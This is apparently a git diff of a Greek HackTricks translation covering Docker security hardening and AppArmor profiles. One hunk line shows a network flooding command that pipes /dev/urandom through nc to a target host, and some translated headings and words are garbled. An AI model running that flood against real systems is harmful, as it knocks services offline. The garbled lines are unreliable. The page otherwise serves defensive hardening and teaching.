{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -240,12 +241,12 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
### AuthZ & AuthN
Στο Docker, ένα πρόσθετο εξουσιοδότησης παίζει έναν κρίσιμο ρόλο στην ασφάλεια αποφασίζοντας εάν θα επιτρέψει ή θα αποκλείσει αιτήσεις προς τον δαίμονα του Docker. Αυτή η απόφαση λαμβάνεται εξετάζοντας δύο βασικά πλαίσια:
Στο Docker, ένα πρόσθετο εξουσιοδότησης παίζει έναν κρίσιμο ρόλο στην ασφάλεια αποφασίζοντας εάν θα επιτραπεί ή θα αποκλειστούν αιτήσεις προς τον δαίμονα του Docker. Αυτή η απόφαση λαμβάνεται εξετάζοντας δύο βασικά πλαίσια:
* **Πλαίσιο Ταυτοποίησης**: Αυτό περιλαμβάνει πλήρεις πληροφορίες σχετικά με τον χρήστη, όπως ποιος είναι και πώς έχει ταυτοποιηθεί.
* **Πλαίσιο Εντολής**: Αυτό περιλαμβάνει όλα τα σχετικά δεδομένα που σχετίζονται με το αίτημα που γίνεται.
Αυτά τα πλαίσια βοηθούν στη διασφάλιση ότι επεξεργάζονται μόνο νόμιμα αιτήματα από τους ταυτοποιημένους χρήστες, ενισχύοντας την ασφάλεια των λειτουργιών του Docker.
Αυτά τα πλαίσια βοηθούν στη διασφάλιση ότι μόνο νόμιμα αιτήματα από εξουσιοδοτημένους χρήστες επεξεργάζονται, ενισχύοντας την ασφάλεια των λειτουργιών του Docker.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -253,7 +254,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
## DoS από ένα container
Αν δεν περιορίζετε σωστά τους πόρους που μπορεί να χρησιμοποιήσει ένα container, ένας χειρισμένος container μπορεί να προκαλέσει DoS στον υπολογιστή όπου τρέχει.
Αν δεν περιορίζετε σωστά τους πόρους που μπορεί να χρησιμοποιήσει ένα container, ένας χαλασμένος container μπορεί να προκαλέσει DoS στον υπολογιστή όπου τρέχει.
* CPU DoS
```bash
@ -281,9 +282,9 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
#### no-new-privileges
Εάν εκτελείτε ένα container όπου ένας εισβολέας καταφέρνει να αποκτήσει πρόσβαση ως χρήστης με χαμηλά προνόμια. Εάν έχετε ένα **κακώς διαμορφωμένο suid binary**, ο εισβολέας μπορεί να το εκμεταλλευτεί και **να αναβαθμίσει τα προνόμιά του μέσα** στο container. Αυτό, μπορεί να του επιτρέψει να δραπετεύσει από αυτό.
Εάν εκτελείτε ένα container όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης με χαμηλά προνόμια. Εάν έχετε ένα **μη σωστά ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το καταχραστεί και να **εξελίξει τα προνόμια μέσα** στο container. Αυτό, μπορεί να του επιτρέψει να δραπετεύσει από αυτό.
Η εκτέλεση του container με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **εμποδίσει αυτό το είδος αναβάθμισης προνομίων**.
Η εκτέλεση του container με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **εμποδίσει αυτήν τη μορφή εξέλιξης προνομίων**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -304,7 +305,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
```
Για περισσότερες επιλογές **`--security-opt`** ελέγξτε: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## Άλλες Αναλυτικές Εξετάσεις Ασφάλειας
## Άλλες Αναλύσεις Ασφάλειας
### Διαχείριση Μυστικών: Καλύτερες Πρακτικές
@ -312,7 +313,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
Τα **Docker volumes** αποτελούν μια ασφαλέστερη εναλλακτική λύση, συνιστώμενη για την πρόσβαση σε ευαίσθητες πληροφορίες. Μπορούν να χρησιμοποιηθούν ως προσωρινό σύστημα αρχείων στη μνήμη, μειώνοντας τους κινδύνους που σχετίζονται με το `docker inspect` και την καταγραφή. Ωστόσο, οι χρήστες ριζικού και εκείνοι με πρόσβαση `exec` στο container ενδέχεται να έχουν πρόσβαση στα μυστικά.
Τα **Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη διαχείριση ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη φάση κατασκευής της εικόνας, το **BuildKit** παρουσιάζει μια αποτελεσματική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον χαρακτηριστικά.
Τα **Docker secrets** προσφέρουν μια ακόμη πιο ασφαλή μέθοδο για τη χειρισμό ευαίσθητων πληροφοριών. Για περιπτώσεις που απαιτούν μυστικά κατά τη φάση κατασκευής της εικόνας, το **BuildKit** παρουσιάζει μια αποτελεσματική λύση με υποστήριξη για μυστικά κατά την κατασκευή, βελτιώνοντας την ταχύτητα κατασκευής και παρέχοντας επιπλέον χαρακτηριστικά.
Για να εκμεταλλευτείτε το BuildKit, μπορεί να ενεργοποιηθεί με τρεις τρόπους:
@ -355,30 +356,30 @@ file: ./my_secret_file.txt
### Συμβουλές Περίληψης
* **Μην χρησιμοποιείτε τη σημαία `--privileged` ή προσαρτήστε ένα** [**Docker socket μέσα στο container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία containers, είναι ένα εύκολος τρόπος να αναλάβετε πλήρη έλεγχο του υπολογιστή φιλοξενίας, για παράδειγμα, με την εκτέλεση ενός άλλου container με τη σημαία `--privileged`.
* Μην τρέχετε ως root μέσα στο container. Χρησιμοποιήστε έναν [διαφορετικό χρήστη](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) και [user namespaces](https://docs.docker.com/engine/security/userns-remap/). Το root στο container είναι το ίδιο με αυτόν στον υπολογιστή φιλοξενίας εκτός αν γίνει αντιστοίχιση με user namespaces. Περιορίζεται ελαφρά κυρίως από Linux namespaces, δυνατότητες και cgroups.
* [Απορρίψτε όλες τις δυνατότητες](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει το πεδίο μιας πιθανής επίθεσης.
* [Χρησιμοποιήστε την επιλογή ασφάλειας “no-new-privileges”](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να εμποδίσετε τις διεργασίες από το να αποκτήσουν περισσότερα προνόμια, για παράδειγμα μέσω suid δυαδικών.
* [Περιορίστε τους διαθέσιμους πόρους στο container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Οι περιορισμοί πόρων μπορούν να προστατεύσουν τον υπολογιστή από επιθέσεις αρνησης υπηρεσίας.
* **Προσαρμόστε τα προφίλ** [**seccomp**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** για να περιορίσετε τις ενέργειες και τις κλήσεις συστήματος που είναι διαθέσιμες για το container στο ελάχιστο απαιτούμενο.
* **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official\_images/) **και απαιτήστε υπογραφές** ή δημιουργήστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε εικόνες με παρασκευασμένες πόρτες. Αποθηκεύστε επίσης τα κλειδιά ρίζας, τον κωδικό πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια για τη διαχείριση των κλειδιών με το UCP.
* **Μην χρησιμοποιείτε τη σημαία `--privileged` ή προσαρτήστε ένα** [**Docker socket μέσα στο container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία container, είναι ένα εύκολος τρόπος να αναλάβετε πλήρη έλεγχο του υπολογιστή φιλοξενίας, για παράδειγμα, με την εκτέλεση ενός άλλου container με τη σημαία `--privileged`.
* Μην τρέχετε ως root μέσα στο container. Χρησιμοποιήστε έναν **διαφορετικό χρήστη** και **user namespaces**. Το root στο container είναι το ίδιο με αυτόν στον υπολογιστή φιλοξενίας εκτός αν γίνει αντιστοίχιση με user namespaces. Είναι ελαφρά περιορισμένο από, κυρίως, τα Linux namespaces, τις δυνατότητες και τα cgroups.
* [**Απορρίψτε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει το πεδίο μιας πιθανής επίθεσης.
* [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να εμποδίσετε τις διεργασίες από το να αποκτήσουν περισσότερα προνόμια, για παράδειγμα μέσω suid δυαδικών.
* [**Περιορίστε τους διαθέσιμους πόρους στο container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τον υπολογιστή από επιθέσεις αρνησης υπηρεσίας.
* **Προσαρμόστε τα προφίλ** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** για να περιορίσετε τις ενέργειες και τις κλήσεις συστήματος που είναι διαθέσιμες για το container στο ελάχιστο απαιτούμενο.
* **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official\_images/) **και απαιτήστε υπογραφές** ή δημιουργήστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε εικόνες με πίσω πόρτες. Αποθηκεύστε επίσης τα ριζικά κλειδιά, τον κωδικό πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια για τη διαχείριση των κλειδιών με το UCP.
* **Αναδημιουργήστε τακτικά** τις εικόνες σας για να **εφαρμόσετε περιορισμούς ασφαλείας στον υπολογιστή και τις εικόνες.**
* Διαχειριστείτε τα **μυστικά σας με σύνεση** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει.
* Αν **εκθέτετε τον δαίμονα του docker χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και εξυπηρετητή.
* Στο Dockerfile σας, **προτιμήστε την ΑΝΤΙΓΡΑΦΗ αντί του ΠΡΟΣΘΗΚΗ**. Η ΠΡΟΣΘΗΚΗ εξάγει αυτόματα συμπιεσμένα αρχεία και μπορεί να αντιγράψει αρχεία από διευθύνσεις URL. Η ΑΝΤΙΓΡΑΦΗ δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση της ΠΡΟΣΘΗΚΗ για να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων διευθύνσεων URL και αρχείων Zip.
* Αν **εκθέτετε τον δαίμονα του docker χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη & εξυπηρετητή.
* Στο Dockerfile σας, **προτιμήστε το COPY αντί του ADD**. Το ADD αυτόματα εξάγει συμπιεσμένα αρχεία και μπορεί να αντιγράψει αρχεία από διευθύνσεις URL. Το COPY δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση του ADD ώστε να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων διευθύνσεων URL και αρχείων Zip.
* Έχετε **ξεχωριστά containers για κάθε μικρο-υπηρεσία**
* **Μην τοποθετείτε το ssh** μέσα στο container, το “docker exec” μπορεί να χρησιμοποιηθεί για να συνδεθείτε με ssh στο Container.
* **Μην τοποθετείτε ssh** μέσα στο container, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Container.
* Έχετε **μικρότερες** εικόνες **containers**
## Διαρροή / Ανόρθωση Προνομίων στο Docker
## Διαφυγή / Ανύψωση Προνομίων Docker
Αν βρίσκεστε **μέσα σε ένα container docker** ή έχετε πρόσβαση σε έναν χρήστη στη **ομάδα docker**, μπορείτε να προσπαθήσετε να **δραπετεύσετε και να αναβαθμίσετε προνόμια**:
Αν βρίσκεστε **μέσα σε ένα container docker** ή έχετε πρόσβαση σε έναν χρήστη στη **ομάδα docker**, μπορείτε να προσπαθήσετε να **διαφύγετε και να αναβαθμίσετε προνόμια**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Παράκαμψη Προσθετικού Πιστοποίησης Docker
## Παράκαμψη Προσθήκης Προσθήκης Προσθήκης Docker
Αν έχετε πρόσβαση στο socket του docker ή έχετε πρόσβαση σε έναν χρήστη στη **ομάδα docker αλλά οι ενέργειές σας περιορίζονται από ένα πρόσθετο πιστοποίησης docker**, ελέγξτε αν μπορείτε να το **παρακάμψετε:**
@ -388,7 +389,7 @@ file: ./my_secret_file.txt
## Ενίσχυση Docker
* Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη containers Docker σε παραγωγή. Οι έλεγχοι είναι όλοι αυτοματοποιημένοι και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
* Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη container Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Πρέπει να εκτελέσετε το εργαλείο από τον υπολογιστή που εκτελεί το docker ή από ένα container με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Αναφορές
@ -397,9 +398,20 @@ file: ./my_secret_file.txt
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
* [
Μάθε & εξάσκησε στο Hacking του AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# AppArmor
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων με αντάλλαγμα λύτρων που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αποκλεισμών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
---
***
## Βασικές Πληροφορίες
@ -34,22 +35,22 @@
Υπάρχουν δύο λειτουργικές καταστάσεις για τα προφίλ AppArmor:
- **Λειτουργία Επιβολής**: Αυτή η λειτουργία επιβάλλει ενεργά τις πολιτικές που έχουν οριστεί στο προφίλ, αποκλείοντας ενέργειες που παραβιάζουν αυτές τις πολιτικές και καταγράφοντας οποιεσδήποτε προσπάθειες παραβίασής τους μέσω συστημάτων όπως το syslog ή το auditd.
- **Λειτουργία Διαμαρτυρίας**: Αντίθετα με τη λειτουργία επιβολής, η λειτουργία διαμαρτυρίας δεν αποκλείει ενέργειες που παραβιάζουν τις πολιτικές του προφίλ. Αντ' αυτού, καταγράφει αυτές τις προσπάθειες ως παραβιάσεις πολιτικής χωρίς να επιβάλλει περιορισμούς.
* **Λειτουργία Επιβολής**: Αυτή η λειτουργία επιβάλλει ενεργά τις πολιτικές που έχουν οριστεί στο προφίλ, αποκλείοντας ενέργειες που παραβιάζουν αυτές τις πολιτικές και καταγράφοντας οποιεσδήποτε προσπάθειες παραβίασής τους μέσω συστημάτων όπως το syslog ή το auditd.
* **Λειτουργία Διαμαρτυρίας**: Σε αντίθεση με τη λειτουργία επιβολής, η λειτουργία διαμαρτυρίας δεν αποκλείει ενέργειες που παραβιάζουν τις πολιτικές του προφίλ. Αντ' αυτού, καταγράφει αυτές τις προσπάθειες ως παραβιάσεις πολιτικής χωρίς να επιβάλλει περιορισμούς.
### Στοιχεία του AppArmor
- **Πυρήνας Ενότητας**: Υπεύθυνος για την επιβολή των πολιτικών.
- **Πολιτικές**: Καθορίζουν τους κανόνες και τους περιορισμούς για τη συμπεριφορά του προγράμματος και την πρόσβαση σε πόρους.
- **Αναλυτής**: Φορτώνει τις πολιτικές στον πυρήνα για επιβολή ή αναφορά.
- **Προγράμματα Χρηστών**: Αυτά είναι προγράμματα λειτουργίας χρήστη που παρέχουν μια διεπαφή για την αλληλεπίδραση και τη διαχείριση του AppArmor.
* **Πυρήνας Ενότητας**: Υπεύθυνος για την επιβολή των πολιτικών.
* **Πολιτικές**: Καθορίζουν τους κανόνες και τους περιορισμούς για τη συμπεριφορά του προγράμματος και την πρόσβαση σε πόρους.
* **Αναλυτής**: Φορτώνει τις πολιτικές στον πυρήνα για επιβολή ή αναφορά.
* **Προγράμματα Χρηστών**: Αυτά είναι προγράμματα λειτουργίας χρήστη που παρέχουν μια διεπαφή για την αλληλεπίδραση και τη διαχείριση του AppArmor.
### Διαδρομές Προφίλ
Τα προφίλ Apparmor συνήθως αποθηκεύονται στο _**/etc/apparmor.d/**_\
Με την εντολή `sudo aa-status` θα μπορείτε να καταλογίσετε τα δυαδικά που περιορίζονται από κάποιο προφίλ. Αν μπορείτε να αλλάξετε το χαρακτήρα "/" με ένα τελεία από τη διαδρομή κάθε καταχωρημένου δυαδικού, θα λάβετε το όνομα του προφίλ apparmor μέσα στο αναφερόμενο φάκελο.
Με την εντολή `sudo aa-status` θα μπορείτε να καταλάβετε τα δυαδικά που περιορίζονται από κάποιο προφίλ. Αν μπορείτε να αλλάξετε το χαρακτήρα "/" με ένα τελεία από τη διαδρομή κάθε καταχωρημένου δυαδικού, θα λάβετε το όνομα του προφίλ apparmor μέσα στο αναφερόμενο φάκελο.
Για παράδειγμα, ένα **προφίλ apparmor** για _/usr/bin/man_ θα βρίσκεται στο _/etc/apparmor.d/usr.bin.man_
Για παράδειγμα, ένα προφίλ **apparmor** για _/usr/bin/man_ θα βρίσκεται στο _/etc/apparmor.d/usr.bin.man_
### Εντολές
```bash
@ -63,7 +64,7 @@ aa-mergeprof #used to merge the policies
```
## Δημιουργία προφίλ
* Για να υποδείξετε τον επηρεαζόμενο εκτελέσιμο, επιτρέπονται **απόλυτα μονοπάτια και μπαλαντέρ** (για file globbing) για την καθορισμό αρχείων.
* Για να υποδείξετε τον επηρεαζόμενο εκτελέσιμο, επιτρέπονται **απόλυτα μονοπάτια και μπαλαντέρ** (για αντιστοίχιση αρχείων) για την καθορισμό αρχείων.
* Για να υποδείξετε την πρόσβαση που το δυαδικό θα έχει σε **αρχεία** μπορούν να χρησιμοποιηθούν οι ακόλουθοι **έλεγχοι πρόσβασης**:
* **r** (ανάγνωση)
* **w** (εγγραφή)
@ -75,12 +76,12 @@ aa-mergeprof #used to merge the policies
* **Cx** (εκτέλεση υπό προφίλ παιδιού, μετά τον καθαρισμό του περιβάλλοντος)
* **Ux** (εκτέλεση χωρίς περιορισμούς, μετά τον καθαρισμό του περιβάλλοντος)
* **Μεταβλητές** μπορούν να οριστούν στα προφίλ και μπορούν να ρυθμιστούν από έξω από το προφίλ. Για παράδειγμα: @{PROC} και @{HOME} (προσθέστε #include \<tunables/global> στο αρχείο προφίλ)
* **Οι κανόνες απαγόρευσης υποστηρίζονται για να αντικαταστήσουν τους κανόνες επιτροπής**.
* **Οι κανόνες απαγόρευσης υποστηρίζονται για την αντικατάσταση των κανόνων επιτροπής**.
### aa-genprof
Για να ξεκινήσετε εύκολα τη δημιουργία ενός προφίλ, το apparmor μπορεί να σας βοηθήσει. Είναι δυνατόν να κάνετε **το apparmor να ελέγξει τις ενέργειες που εκτελεί ένα δυαδικό και στη συνέχεια να σας επιτρέψει να αποφασίσετε ποιες ενέργειες θέλετε να επιτρέψετε ή να απαγορεύσετε**.\
Απλά χρειάζεται να εκτελέσετε:
Απλώς χρειάζεται να εκτελέσετε:
```bash
sudo aa-genprof /path/to/binary
```
@ -91,7 +92,7 @@ sudo aa-genprof /path/to/binary
Στη συνέχεια, στην πρώτη κονσόλα πατήστε "**s**" και στις καταγεγραμμένες ενέργειες υποδείξτε εάν θέλετε να αγνοήσετε, επιτρέψετε, ή οτιδήποτε άλλο. Όταν τελειώσετε, πατήστε "**f**" και το νέο προφίλ θα δημιουργηθεί στο _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέψετε/απαγορεύσετε/οτιδήποτε άλλο
Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέψετε/απαγορέψετε/οτιδήποτε άλλο
{% endhint %}
### aa-easyprof
@ -129,14 +130,14 @@ sudo aa-easyprof /path/to/binary
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Τροποποίηση ενός προφίλ από τα logs
### Τροποποίηση ενός προφίλ από τα αρχεία καταγραφής
Το παρακάτω εργαλείο θα διαβάσει τα logs και θα ρωτήσει τον χρήστη εάν επιθυμεί να επιτρέψει κάποιες από τις ανιχνευμένες απαγορευμένες ενέργειες:
Το παρακάτω εργαλείο θα διαβάσει τα αρχεία καταγραφής και θα ρωτήσει τον χρήστη εάν επιθυμεί να επιτρέψει κάποιες από τις ανιχνευμένες απαγορευμένες ενέργειες:
```bash
sudo aa-logprof
```
{% hint style="info" %}
Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέώσετε/απαγορεύσετε/οτιδήποτε
Χρησιμοποιώντας τα πλήκτρα βέλους μπορείτε να επιλέξετε τι θέλετε να επιτρέϋετε/απαγορεύετε/οτιδήποτε
{% endhint %}
### Διαχείριση ενός Προφίλ
@ -149,7 +150,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Αρχεία καταγραφής
Παράδειγμα **ΑΥΤΙΣΜΟΥ** και **ΑΠΟΡΡΙΨΗΣ** καταγραφών από το _/var/log/audit/audit.log_ του εκτελέσιμου **`service_bin`**:
Παράδειγμα **ΕΛΕΓΧΟΥ** και **ΑΠΟΡΡΙΨΗΣ** καταγραφών από το _/var/log/audit/audit.log_ του εκτελέσιμου **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
